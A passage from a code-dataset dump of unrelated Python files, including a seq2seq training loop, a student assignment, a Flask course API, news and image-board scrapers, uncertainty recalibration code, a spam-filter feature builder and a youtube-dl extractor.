data.vec2word(train_preds[j][1])))\n\t\t\t\t\tprint('dev examples')\n\t\t\t\t\tfor j in range(5):\n\t\t\t\t\t\tprint('word: {:30} pred: {:30}'.format(data.vec2word(dev_preds[j][0]), data.vec2word(dev_preds[j][1])))\n\t\t\t\t\tprint('epoch: {:.2f}/{:d} completion: {:.2f}% train loss: {:.4f} train acc: {:f} dev acc: {:f}'.format(\n\t\t\t\t\t\tfloat(epoch) + ((i+1)/len(train)), epochs, (step/(epochs*len(train)))*100, train_loss / eval_step, train_acc*100, dev_acc*100))\n\n\t\t\t\t\ttrain_loss_str = str(round((train_loss / eval_step).item(), 3))\n\t\t\t\t\ttrain_acc_str = str(round(train_acc*100, 2))\n\t\t\t\t\tdev_acc_str = str(round(dev_acc*100, 2))\n\t\t\t\t\tepoch_str = str(float(epoch) + ((i+1)/len(train)))\n\t\t\t\t\twith open(out_stats_path, 'a') as f:\n\t\t\t\t\t\tf.write(epoch_str + '\\t' + train_loss_str + '\\t' + train_acc_str + '\\t' + dev_acc_str + '\\n')\n\n\t\t\t\t\tprint()\n\t\t\t\t\ttrain_loss = 0\n","sub_path":"seq2seq_attn/run_attn.py","file_name":"run_attn.py","file_ext":"py","file_size_in_byte":4104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"353007564","text":"##===============================================\n## Jiadong Mai (20557203)\n## CS 116 Winter 2018\n## Assignment 05, Question 2\n##===============================================\nimport check\n# Question 2\n# count_digits_acc(str_num, list_is_required, start_num) returns a list of \n# length 10, list_is_required, where the start_numth element of the list \n# contains the number of times that the digit start_num occurs in star_num\n# count_digits_acc: Str (listof Nat) Nat -> (listof Nat)\n# Examples:\n# count_digits_acc('440222', [], 0) => [1, 0, 3, 0, 2, 0, 0, 0, 0, 0]\n# count_digits('973195', [], 0) => [0, 1, 0, 1, 0, 1, 0, 1, 0, 2]\ndef count_digits_acc(str_num, list_is_required, start_num):\n if start_num > 9:\n return list_is_required\n else:\n list_is_required.append(str_num.count(str(start_num)))\n return count_digits_acc(str_num, list_is_required, start_num+1)\n\n# count_digits(n) returns the count of each digit in n\n# count_digits: Nat -> (listof Nat)\n# Examples:\n# count_digits(440222) => [1, 0, 3, 0, 2, 0, 0, 0, 0, 0]\n# count_digits(973195) => [0, 1, 0, 1, 0, 1, 0, 1, 0, 2]\ndef count_digits(n):\n string = str(n)\n return count_digits_acc(string, [], 0)\n# Test:\n# Test1: n = 0\ncheck.expect('Q2T1', count_digits(0), [1, 0, 0, 0, 0, 0, 0, 0, 0, 0])\n# Test2: number from 0-9 happen\ncheck.expect('Q2T2', count_digits(1234567890), [1, 1, 1, 1, 1, 1, 1, 1, 1, 1])\ncheck.expect('Q2T3', count_digits(1234567312890), [1, 2, 2, 2, 1, 1, 1, 1, 1, 1])\ncheck.expect('Q2T4', count_digits(12233445567312890), [1, 2, 3, 3, 2, 2, 1, 1, 1, 1])\n# Test3: some number happen more than 2 times\ncheck.expect('Q2T5', count_digits(1789789789789), [0, 1, 0, 0, 0, 0, 0, 4, 4, 4])\ncheck.expect('Q2T6', count_digits(1578682457), [0, 1, 1, 0, 1, 2, 1, 2, 2, 0])\n# Test4: only one number exist\ncheck.expect('Q2T7', count_digits(999999), [0, 0, 0, 0, 0, 0, 0, 0, 0, 6])\ncheck.expect('Q2T8', count_digits(111111), [0, 6, 0, 0, 0, 0, 0, 0, 0, 0])\ncheck.expect('Q2T9', count_digits(000000), [1, 0, 0, 0, 0, 0, 0, 0, 0, 0])\n","sub_path":"CS116/a05-j4mai/a05-j4mai/a05q2.py","file_name":"a05q2.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"166529691","text":"\nimport flask\nimport datetime\nimport flask.ext.sqlalchemy\nimport flask.ext.restless\n\n\napp = flask.Flask(__name__)\napp.config['DEBUG'] = True\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/course.db'\ndb = flask.ext.sqlalchemy.SQLAlchemy(app)\n\n\nclass Course(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n code = db.Column(db.Unicode)\n title = db.Column(db.Unicode)\n description = db.Column(db.Unicode)\n department = db.Column(db.Unicode)\n status = db.Column(db.Integer)\n\n\n classes = db.relationship(\"Class\", backref=\"course\")\n\n\nclass Class(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n instructor = db.Column(db.Unicode)\n schedule = db.Column(db.Unicode)\n max_roster_size = db.Column(db.Integer)\n term = db.Column(db.Unicode)\n course_id = db.Column(db.Integer, db.ForeignKey('course.id'))\n\n\n# Creating the database tables.\ndb.create_all()\n\n# Creating the Flask-Restless API manager.\nmanager = flask.ext.restless.APIManager(app, flask_sqlalchemy_db=db)\n\n\nmanager.create_api(Course, methods=['GET', 'PUT', 'POST', 'DELETE'], url_prefix='/api/v0')\nmanager.create_api(Class, methods=['GET''PUT', 'POST'], url_prefix='/api/v0')\n\n# start the flask loop\napp.run()\n","sub_path":"app/course-manager.py","file_name":"course-manager.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"206165676","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*- \n# -*- author:北辰屏寒 -*- \n# -*- email:chromecs@qq.com -*-\n\nimport sys\nsys.path.append('../')\nsys.path.append('/spider/news')\n\nimport datetime\nfrom db.dbi import preview_upsert\nfrom sina_news.filter.preview import preview_label\nfrom sina_news.parser.preview_parser import NewsPreview\n\ndef preview_to_mongodb(plate_item):\n plate = plate_item[0]\n url = plate_item[1]\n labels = preview_label(url)\n for label in labels:\n try:\n timestamp = datetime.datetime.now()\n pre_news = NewsPreview(label)\n url = pre_news.detail_url()\n title = pre_news.title()\n source_tmp = pre_news.source()\n if source_tmp != title:\n source = source_tmp\n else:\n source = ''\n pub_date = pre_news.pub_date()\n comment_count = pre_news.comment_count()\n img_preview = pre_news.img_preview()\n if img_preview != '':\n img_preview_count = 4\n else:\n img_preview_count = 0\n preview_upsert(plate, url, title, source, pub_date, comment_count, img_preview, img_preview_count, timestamp)\n\n except:\n pass\n","sub_path":"sina_news/data/get_preview.py","file_name":"get_preview.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"15003285","text":"\"\"\"\nRecalibrating uncertainty estimates.\n\"\"\"\n\nimport numpy as np\nfrom sklearn.isotonic import IsotonicRegression\n\n\ndef get_q_idx(exp_props, q):\n num_pts = exp_props.shape[0]\n target_idx = None\n for idx, x in enumerate(exp_props):\n if idx + 1 == num_pts:\n if round(q, 2) == round(float(exp_props[-1]), 2):\n target_idx = exp_props.shape[0] - 1\n break\n if x <= q < exp_props[idx + 1]:\n target_idx = idx\n break\n if target_idx is None:\n raise ValueError(\"q must be within exp_props\")\n return target_idx\n\n\ndef iso_recal(exp_props, obs_props):\n \"\"\"\n Returns an isotonic regression model that maps from obs_props to exp_props\n \"\"\"\n # Flatten\n exp_props = exp_props.flatten()\n obs_props = obs_props.flatten()\n min_obs = np.min(obs_props)\n max_obs = np.max(obs_props)\n\n iso_model = IsotonicRegression(increasing=True, out_of_bounds=\"clip\")\n # just need observed prop values between 0 and 1\n # problematic if min_obs_p > 0 and max_obs_p < 1\n if not (min_obs == 0.0) and (max_obs == 1.0):\n print(\"Obs props not ideal: from {} to {}\".format(min_obs, max_obs))\n\n exp_0_idx = get_q_idx(exp_props, 0.0)\n exp_1_idx = get_q_idx(exp_props, 1.0)\n within_01 = obs_props[exp_0_idx : exp_1_idx + 1]\n\n beg_idx, end_idx = None, None\n # Handle beg_idx\n if exp_0_idx != 0:\n min_obs_below = np.min(obs_props[:exp_0_idx])\n min_obs_within = np.min(within_01)\n if min_obs_below < min_obs_within:\n i = exp_0_idx - 1\n while obs_props[i] > min_obs_below:\n i -= 1\n beg_idx = i\n elif np.sum((within_01 == min_obs_within).astype(float)) > 1:\n # multiple minima in within_01 ==> get last min idx\n i = exp_1_idx - 1\n while obs_props[i] > min_obs_within:\n i -= 1\n beg_idx = i\n elif np.sum((within_01 == min_obs_within).astype(float)) == 1:\n beg_idx = int(np.argmin(within_01) + exp_0_idx)\n else:\n raise RuntimeError((\"Inspect input arrays, \" \"cannot set beginning index.\"))\n else:\n beg_idx = exp_0_idx\n\n # Handle end_idx\n if exp_1_idx < obs_props.shape[0] - 1:\n max_obs_above = np.max(obs_props[exp_1_idx + 1 :])\n max_obs_within = np.max(within_01)\n if max_obs_above > max_obs_within:\n i = exp_1_idx + 1\n while obs_props[i] < max_obs_above:\n i += 1\n end_idx = i + 1\n elif np.sum((within_01 == max_obs_within).astype(float)) > 1:\n # multiple minima in within_01 ==> get last min idx\n i = beg_idx\n while obs_props[i] < max_obs_within:\n i += 1\n end_idx = i + 1\n elif np.sum((within_01 == max_obs_within).astype(float)) == 1:\n end_idx = int(exp_0_idx + np.argmax(within_01) + 1)\n else:\n raise RuntimeError(\"Inspect input arrays, cannot set ending index\")\n else:\n end_idx = exp_1_idx + 1\n\n if end_idx <= beg_idx:\n raise RuntimeError(\"Ending index before beginning index\")\n\n filtered_obs_props = obs_props[beg_idx:end_idx]\n filtered_exp_props = exp_props[beg_idx:end_idx]\n\n try:\n iso_model = iso_model.fit(filtered_obs_props, filtered_exp_props)\n except Exception:\n raise RuntimeError(\"Failed to fit isotonic regression model\")\n\n return iso_model\n","sub_path":"uncertainty_toolbox/recalibration.py","file_name":"recalibration.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"49190787","text":"#!/usr/local/bin/python\n# encoding:utf-8\n# =====================================================\n# this part set in cx_rc/vim-rc.d/model\n# created by Chen Xu\n# email: chenxu@mail.ustc.edu.cn\n# copyright cx\n# Darwin Kernel Version 17.5.0: Mon Mar 5 22:24:32 PST 2018; root:xnu-4570.51.1~1/RELEASE_X86_64\n# Last modify: 2018年 4月24日 星期二 05时52分58秒 CST\n# =====================================================\n\nimport ROOT\nimport root_numpy\nimport numpy as np\nimport sys\n\n\ndef writefile(ofname, ifname):\n array = np.load(ifname)\n fout = ROOT.TFile(ofname, \"RECREATE\")\n outtree = root_numpy.array2tree(array)\n outtree.Write()\n fout.Close()\n\n\nif __name__ == '__main__':\n argv: list = sys.argv\n argc: int = len(sys.argv)\n if argc == 1:\n writefile(ofname='mlpout.root', ifname='mlpout.d.npy')\n elif argc == 3:\n writefile(ofname=argv[1], ifname=argv[2])\n else:\n print('not known argv, pls see src')\n\n\n","sub_path":"p3_numpy2root.py","file_name":"p3_numpy2root.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"464757149","text":"__xbotpp_module__ = \"mishimmie\"\n\nimport re\nimport urllib\nfrom lxml import html\nfrom xbotpp import bot\nfrom xbotpp import logging\n\n@bot.signal.on_signal('command::mi')\ndef search(info, args, buf):\n\t\"\"\"\\\n\tCommand to search the Mishimmie for a given search term.\n\n\tConstructs a search URL and feeds it to :py:func:`miscan` to get information on it.\n\t\"\"\"\n\n\tif len(args) >= 1:\n\t\turl = \"\"\n\t\tif re.match(\"id:\", args[0]):\n\t\t\tterms = re.sub('id:', '', args[0])\n\t\t\turl = \"http://shimmie.katawa-shoujo.com/post/view/%s\" % urllib.parse.quote(terms)\n\t\telse:\n\t\t\tterms = ' '.join(args)\n\t\t\turl = \"http://shimmie.katawa-shoujo.com/post/list/%s/1\" % urllib.parse.quote(terms)\n\n\t\tres = miscan(url)\n\t\tif res:\n\t\t\treturn \"Mishimmie: %s // %s\" % (res['desc'], res['url'])\n\t\telse:\n\t\t\treturn \"Mishimmie: No results.\"\n\n\telse:\n\t\treturn \"Usage: %smi -- search the Mishimmie for \" % bot.options.prefix\n\n@bot.signal.on_signal(r'url::shimmie\\.katawa-shoujo\\.com')\ndef scan(url):\n\tt = miscan(url)\n\tif t:\n\t\treturn \"Mishimmie: {}\".format(t['desc'])\n\ndef miscan(url):\n\t\"\"\"\\\n\tMishimmie URL scanning function.\n\n\tGrabs the HTML for the given URL, and scans it.\n\tIn the case of being given a single post URL, returns the tags and the canonical page URL.\n\tIn the case of being given a search page URL, returns the tags and the canonical page URL of the\n\tfirst post on the search page.\n\n\tReturns a dict with 'desc', 'url' entries, or None if no information could be found.\n\n\t:rtype: dict or None\n\t\"\"\"\n\n\tlogging.debug(\"Scanning Mishimmie for info on %s...\" % url)\n\trawres = urllib.request.urlopen(url, timeout=5)\n\tresult = str(rawres.read(), 'utf8')\n\tdoc = html.document_fromstring(result)\n\n\ttry:\n\t\tposturl = \"\"\n\t\tpostdesc = \"\"\n\t\tlogging.debug('URL: %s' % rawres.geturl())\n\n\t\tif re.search('/post/view/', rawres.geturl()):\n\t\t\tlogging.debug('On a post page.')\n\t\t\tposturl = rawres.geturl()\n\t\t\tpostdesc = doc.get_element_by_id('imgdata').xpath('form/table/tr/td/input')[0].get('value')\n\t\telse:\n\t\t\tlogging.debug('On a search result page.')\n\t\t\tposturl = \"http://shimmie.katawa-shoujo.com%s\" % doc.find_class('thumb')[0].xpath('a')[0].get('href')\n\t\t\tpostdesc = doc.find_class('thumb')[0].xpath('a/img')[0].get(\"alt\").partition(' // ')[0]\n\n\t\tposturl = re.sub('\\?.*', '', posturl)\n\t\treturn {'desc': postdesc, 'url': posturl}\n\n\texcept IndexError:\n\t\treturn None\n","sub_path":"xbotpp_contrib/mishimmie.py","file_name":"mishimmie.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"76926205","text":"import os\nfrom collections import Counter\n\ndef dict():\n path = 'data/emails/'\n files = os.listdir(path)\n emails = [path + email for email in files]\n words = []\n\n for email in emails:\n f = open(email)\n words += f.read().split(\" \")\n\n for i, word in enumerate(words):\n if not words[i].isalpha():\n words[i] = \"\"\n\n \n dictionary = Counter(words)\n del dictionary[\"\"]\n return dictionary.most_common(2000)\n\ndef dataset(dictionary):\n path = 'data/emails/'\n files = os.listdir(path)\n emails = [path + email for email in files]\n feature_vec = []\n labels = []\n\n for email in emails:\n data = []\n f = open(email)\n words = f.read().split(\" \")\n\n for entry in dictionary:\n data.append(words.count(entry[0]))\n feature_vec.append(data)\n\n if \"ham\" in email:\n labels.append(0)\n if \"spam\" in email:\n labels.append(1)\n\n return feature_vec, labels\n\nd = dict()\nfeatures, labels = dataset(d)\n\n\nprint('Feature vector length: ', len(features))\nprint('Label length: ', len(labels))\n\n\n","sub_path":"spam_filter.py","file_name":"spam_filter.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"125563336","text":"#! python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport numpy as np\nfrom datetime import datetime\n\nimport common as cmn\n\n\n\n# Compute points that: ( x^2 + y^2 )^2 = A ( x^2 -y^2 )\n#\n\n\n\nparameters_list = [ '', '', '', '' ]\n\n\n\ndef lemniscata( x, y, A ):\n return ( x**2 + y**2 )** 2 - A * ( x**2 - y**2 )\n\n\ndef resolve( lower, upper, count, A ):\n print( lower, upper, count )\n\n start = datetime.now()\n\n b = np.linspace( lower, upper, num= count )\n x, y = np.meshgrid( b, b )\n\n L = lemniscata( x, y, A )\n\n\n elapsed = datetime.now() - start\n print( \"Elapsed time: \" + str( elapsed ) )\n\n return L\n\n\ndef prepare( params ):\n lower = int( sys.argv[ 1 ] )\n upper = int( sys.argv[ 2 ] )\n N = int( sys.argv[ 3 ] )\n A = float( sys.argv[ 4 ] )\n\n L = resolve( lower, upper, N, A )\n\n cmn.contour( lower, upper, N, L, 'L-3' )\n\n\nif __name__ == \"__main__\":\n print( sys.platform )\n if ( len( sys.argv ) >= 1 + len( parameters_list ) ):\n prepare( sys.argv )\n else:\n cmn.show_help( sys.argv[ 0 ], parameters_list )\n","sub_path":"lemniscata.3.py","file_name":"lemniscata.3.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"38252644","text":"import numpy as np\n\nimport tweak\n\n\nclass FastSwapLocalSearch():\n\n def __init__(self, problem):\n self.problem = problem\n\n def complete_swap_cost(self, solution, r, s):\n if r == s:\n return 0\n fr, fs = solution[r] - 1, solution[s] - 1\n d = self.problem.distance_matrix\n f = self.problem.flow_matrix\n cost = (d[r,r]*(f[fs,fs]-f[fr,fr]) + d[r,s]*(f[fs,fr]-f[fr,fs]) +\n d[s,r]*(f[fr,fs]-f[fs,fr]) + d[s,s]*(f[fr,fr]-f[fs,fs]))\n for k in range(self.problem.instance_size):\n if k == r or k == s:\n continue\n fk = solution[k] - 1\n cost += (d[k,r]*(f[fk,fs]-f[fk,fr]) + d[k,s]*(f[fk,fr]-f[fk,fs]) +\n d[r,k]*(f[fs,fk]-f[fr,fk]) + d[s,k]*(f[fr,fk]-f[fs,fk]))\n self.linear_evaluations += 1\n return cost\n\n def swap_cost(self, solution, u, v):\n r, s = self.last_r, self.last_s\n last_cost = self.swap_cost_matrix[u,v]\n if r != u and r != v and s != u and s != v and last_cost != None:\n d = self.problem.distance_matrix\n f = self.problem.flow_matrix\n fu, fv = solution[u] - 1, solution[v] - 1\n fr, fs = solution[r] - 1, solution[s] - 1\n cost = last_cost + (((d[r,u]-d[r,v])+(d[s,v]-d[s,u])) *\n ((f[fs,fu]-f[fs,fv])+(f[fr,fv]-f[fr,fu])) +\n ((d[u,r]-d[v,r])+(d[v,s]-d[u,s])) *\n ((f[fu,fs]-f[fv,fs])+(f[fv,fr]-f[fu,fr])))\n self.constant_evaluations += 1\n else:\n cost = self.complete_swap_cost(solution, u, v)\n self.swap_cost_matrix[u,v] = cost\n return cost\n\n def run(self, initial_solution, initial_cost=None, max_iter=float('inf')):\n current_solution = []\n self.best_solution = initial_solution\n if initial_cost == None:\n self.best_cost = self.problem.evaluate(initial_solution)\n total_evaluations = 1\n else:\n self.best_cost = initial_cost\n total_evaluations = 0\n size = self.problem.instance_size\n self.swap_cost_matrix = np.full((size, size), None)\n self.last_r, self.last_s = None, None\n self.linear_evaluations = 0\n self.constant_evaluations = 0\n iteration = 0\n while iteration < max_iter:\n best_movement_cost = float('inf')\n for r, s in tweak.random_pairs(self.problem.instance_size):\n if r >= s:\n continue\n movement_cost = self.swap_cost(self.best_solution, r, s)\n if movement_cost < best_movement_cost:\n best_movement_cost = movement_cost\n best_r, best_s = r, s\n if best_movement_cost < 0:\n self.last_r, self.last_s = best_r, best_s\n neighbour = tweak.swap(self.best_solution, best_r, best_s)\n self.best_solution = neighbour\n self.best_cost += best_movement_cost\n else:\n break\n iteration += 1\n total_evaluations += (self.linear_evaluations +\n self.constant_evaluations / size) / size\n return tuple(self.best_solution), self.best_cost, int(total_evaluations)\n","sub_path":"generate_ml_database/fast_swap_local_search.py","file_name":"fast_swap_local_search.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"181955004","text":"\nfrom odoo import models, fields, api, exceptions\nimport re\nimport datetime\nimport json\nfrom ..auth import oauth\n\n\nclass StockPinkingType(models.Model):\n _inherit = \"stock.picking.type\"\n\n is_with_guia = fields.Boolean(string=\"Es con Guia de Remision?\", default=False)\n\n\nclass StockSendComprobante(models.Model):\n _inherit = \"stock.picking\"\n\n is_guia_picking = fields.Boolean(string=\"Es guia?\", related='picking_type_id.is_with_guia')\n motivo_traslado = fields.Selection(string=\"Motivo de Traslado\", default=\"01\",\n selection=[('01', 'VENTA'),\n ('14', 'VENTA SUJETA A CONFIRMACION DEL COMPRADOR'),\n ('02', 'COMPRA'),\n ('04', 'TRASLADO ENTRE ESTABLECIMIENTOS DE LA MISMA EMPRESA'),\n ('18', 'TRASLADO EMISOR ITINERANTE CP'),\n ('08', 'IMPORTACION'),\n ('09', 'EXPORTACION'),\n ('19', 'TRASLADO A ZONA PRIMARIA'),\n ('13', 'OTROS')])\n desc_motivo_traslado = fields.Char(string=\"Descripcion Motivo Traslado\", default=\"\")\n ind_trans_program = fields.Boolean(string=\"Transbordo programado?\", default=False)\n peso_total = fields.Float(string=\"Peso total\", digits=(10, 2))\n peso_unidad_medida = fields.Char(string=\"Unidad de medida. Catalogo Nro 3\")\n numero_bultos = fields.Integer(string=\"Numero de bultos\", default=1)\n transportes = fields.One2many(\"efact.stock_transporte\", \"picking_id\", string=\"Transporte\")\n salida_ubigeo = fields.Char(string=\"Salida ubigeo\")\n salida_direccion = fields.Char(string=\"Salida direccion\")\n\n entrega_ubigeo = fields.Char(string=\"Entrega Ubigeo\")\n entrega_direccion = fields.Char(string=\"Engrega Direccion\")\n # falta contenedor y puerto\n\n estado_envio = fields.Selection(string=\"Estado de envio\",\n default=0,\n selection=[(0, \"Pendiente\"), (1, \"Enviado\"), (2, \"Error\")])\n json_enviado = fields.Text(string=\"Json enviado\")\n xml_generado = fields.Text(string=\"Xml generado\")\n digest_value = fields.Char(string=\"Digest Value\")\n\n def validar_datos_compania(self):\n errors = []\n if not self.company_id.partner_id.vat:\n errors.append(\"* No se tiene configurado el RUC de la empresa emisora\")\n if not self.company_id.partner_id.tipo_documento:\n errors.append(\"* No se tiene configurado el tipo de documento de la empresa emisora\")\n elif self.company_id.partner_id.tipo_documento != '6':\n errors.append(\"* El Tipo de Documento de la empresa emisora debe ser RUC\")\n if not self.company_id.partner_id.zip:\n errors.append(\"* No se encuentra configurado el Ubigeo de la empresa emisora.\")\n if not self.company_id.partner_id.street:\n errors.append(\"* No se encuentra configurado la dirección de la empresa emisora.\")\n if not self.company_id.partner_id.registration_name:\n errors.append(\"* No se encuentra configurado la Razón Social de la empresa emisora.\")\n return errors\n\n @api.multi\n def action_generar_comprobante_json(self):\n if self.estado_envio == 1:\n raise exceptions.UserError(\"Documento ya fue aceptado anteriormente.\")\n\n if not self.name or not re.match('T\\\\d{3}-\\\\d{1,8}', self.name):\n raise exceptions.UserError(\"El codigo no tiene el formato correcto: \" + str(self.name))\n errors = self.validar_datos_compania()\n if len(errors) > 0:\n raise exceptions.UserError(\"Error al validar datos de la compania:\\n\" + '\\n'.join(errors))\n\n serie, correlativo = self.name.split('-')\n company = self.company_id.partner_id\n receptor = self.partner_id\n\n documento = {\n \"serie\": serie,\n \"correlativo\": int(correlativo),\n \"nombreEmisor\": company.name,\n \"tipoDocEmisor\": '6',\n \"numDocEmisor\": company.vat,\n \"tipoDocReceptor\": receptor.tipo_documento,\n \"numDocReceptor\": receptor.vat,\n \"nombreReceptor\": receptor.name,\n \"motivoTraslado\": self.motivo_traslado,\n \"descripcionMotivoTraslado\": self.desc_motivo_traslado,\n \"transbordoProgramado\": self.ind_trans_program,\n \"pesoTotal\": self.peso_total,\n \"pesoUnidadMedida\": self.peso_unidad_medida,\n \"numeroBulltosPallets\": self.numero_bultos,\n \"entregaUbigeo\": self.entrega_ubigeo,\n \"entregaDireccion\": self.entrega_direccion,\n \"salidaUbigeo\": self.salida_ubigeo,\n \"salidaDireccion\": self.salida_direccion,\n }\n transportes = []\n for t in self.transportes:\n transportes.append({\n \"modoTraslado\": t.modoTraslado,\n \"fechaInicioTraslado\": t.fechaInicioTraslado,\n \"tipoDocTransportista\": t.tipoDocTransportista,\n \"numDocTransportista\": t.numDocTransportista,\n \"nombreTransportista\": t.nombreTransportista,\n \"placaVehiculo\": t.placaVehiculo,\n \"tipoDocConductor\": t.tipoDocConductor,\n \"numDocConductor\": t.numDocConductor,\n })\n detalles = []\n for d in self.move_lines:\n detalles.append({\n 'cantidadItem': d.product_uom_qty,\n 'unidadMedidaItem': d.product_uom.code,\n 'codItem': str(d.id),\n 'nombreItem': d.name,\n })\n\n data = {\n \"tipoDocumento\": \"09\",\n \"fechaEmision\": datetime.datetime.now().strftime(\"%Y-%m-%d\"),\n \"documento\": documento,\n \"transportes\": transportes,\n \"detalle\": detalles\n }\n self.json_enviado = json.dumps(data, ensure_ascii=False, indent=2)\n\n resp = oauth.enviar_doc_url(\n self.company_id.endpoint,\n data,\n oauth.generate_token_by_company(self.company_id),\n self.company_id.tipo_envio)\n\n resp = resp.json()\n if not resp['success']:\n raise exceptions.UserError(\"Error en la api:\\n\" + json.dumps(resp, ensure_ascii=False, indent=2))\n\n resp = resp['result']\n # print(json.dumps(resp, ensure_ascii=False, indent=2))\n if resp.get(\"success\", False) and resp.get(\"sunat_status\", \"x\") == \"A\":\n self.digest_value = resp[\"digest_value\"]\n self.xml_generado = resp[\"signed_xml\"]\n self.estado_envio = 1\n else:\n self.estado_envio = 2\n if \"errors\" in resp and type(resp['errors']) == str:\n msg = resp['errors']\n else:\n msg = json.dumps(resp, ensure_ascii=False, indent=2)\n\n raise exceptions.UserError(msg)\n return True\n\n\nclass StockTransporte(models.Model):\n _name = \"efact.stock_transporte\"\n\n modoTraslado = fields.Selection(string=\"Modalidad de traslado\",\n selection=[(\"01\", \"Publico\"), (\"02\", \"Privado\")])\n fechaInicioTraslado = fields.Date(string=\"Inicio del traslado\")\n tipoDocTransportista = fields.Char(string=\"Transportista>Tipo documento\")\n numDocTransportista = fields.Char(string=\"Transportista>Numero documento\")\n nombreTransportista = fields.Char(string=\"Transportista>Nombre\")\n placaVehiculo = fields.Char(string=\"Placa Vehiculo\")\n tipoDocConductor = fields.Char(\"Conductor>Tipo documento\")\n numDocConductor = fields.Char(\"Conductor>Numero de documento\")\n\n picking_id = fields.Many2one(\"stock.picking\", string=\"Picking\", required=True)\n","sub_path":"addons/efact/models/stock/stock_send_comprobante.py","file_name":"stock_send_comprobante.py","file_ext":"py","file_size_in_byte":7887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"341461450","text":"def reverse_alternate(string: str) -> str:\n \"\"\"\n Reverses every other word.\n \n Args:\n string: A string.\n \n Returns:\n A string with every other word reversed. \n Punctuations are included with the word.\n \"\"\"\n sep_string = string.strip().split()\n res = []\n for word in sep_string:\n if word in sep_string[1::2]:\n res.append(word[::-1])\n else:\n res.append(word)\n return ' '.join(res)\n","sub_path":"codewars/reverse.py","file_name":"reverse.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"211905598","text":"import re\nimport json\n\nfrom .common import InfoExtractor\n\n\nclass ExfmIE(InfoExtractor):\n IE_NAME = u'exfm'\n IE_DESC = u'ex.fm'\n _VALID_URL = r'(?:http://)?(?:www\\.)?ex\\.fm/song/([^/]+)'\n _SOUNDCLOUD_URL = r'(?:http://)?(?:www\\.)?api\\.soundcloud\\.com/tracks/([^/]+)/stream'\n _TESTS = [\n {\n u'url': u'http://ex.fm/song/eh359',\n u'file': u'44216187.mp3',\n u'md5': u'e45513df5631e6d760970b14cc0c11e7',\n u'info_dict': {\n u\"title\": u\"Test House \\\"Love Is Not Enough\\\" (Extended Mix) DeadJournalist Exclusive\",\n u\"uploader\": u\"deadjournalist\",\n u'upload_date': u'20120424',\n u'description': u'Test House \\\"Love Is Not Enough\\\" (Extended Mix) DeadJournalist Exclusive',\n },\n u'note': u'Soundcloud song',\n u'skip': u'The site is down too often',\n },\n {\n u'url': u'http://ex.fm/song/wddt8',\n u'file': u'wddt8.mp3',\n u'md5': u'966bd70741ac5b8570d8e45bfaed3643',\n u'info_dict': {\n u'title': u'Safe and Sound',\n u'uploader': u'Capital Cities',\n },\n u'skip': u'The site is down too often',\n },\n ]\n\n def _real_extract(self, url):\n mobj = re.match(self._VALID_URL, url)\n song_id = mobj.group(1)\n info_url = \"http://ex.fm/api/v3/song/%s\" %(song_id)\n webpage = self._download_webpage(info_url, song_id)\n info = json.loads(webpage)\n song_url = info['song']['url']\n if re.match(self._SOUNDCLOUD_URL, song_url) is not None:\n self.to_screen('Soundcloud song detected')\n return self.url_result(song_url.replace('/stream',''), 'Soundcloud')\n return [{\n 'id': song_id,\n 'url': song_url,\n 'ext': 'mp3',\n 'title': info['song']['title'],\n 'thumbnail': info['song']['image']['large'],\n 'uploader': info['song']['artist'],\n 'view_count': info['song']['loved_count'],\n }]\n","sub_path":"youtube_dl/extractor/exfm.py","file_name":"exfm.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"393335591","text":"from constants import XP_TABLE\r\nfrom constants import SKILL_NAMES\r\n\r\nclass Skill(object):\r\n def __init__(self, name, rank, level, xp, vlevel = 0, is_gain = False):\r\n self.name = name\r\n self.skill_num = SKILL_NAMES.index(name)\r\n self.rank = rank\r\n self.level = level\r\n self.xp = xp\r\n self.vlevel = vlevel\r\n self.tnl = \"\"\r\n if self.name != \"Overall\" and not is_gain:\r\n self.vlevel = self.calc_vlevel()\r\n self.tnl = self.calc_tnl()\r\n \r\n def calc_vlevel(self):\r\n i = self.level\r\n while XP_TABLE[i] <= self.xp:\r\n i += 1\r\n return i\r\n \r\n def calc_tnl(self):\r\n xp_req = XP_TABLE[self.vlevel]\r\n return xp_req - self.xp\r\n \r\n def get_info(self, info):\r\n if info == \"rank\":\r\n return self.rank\r\n elif info == \"level\":\r\n return self.level\r\n elif info == \"vlevel\":\r\n return self.vlevel\r\n elif info == \"xp\":\r\n return self.xp\r\n elif info == \"tnl\":\r\n return self.tnl\r\n elif info == \"name\":\r\n return self.skill_num\r\n \r\n def __str__(self):\r\n s = \"{}({}) {}, {} xp, ranked {}. {} xp to next level.\"\r\n return s.format(self.level, 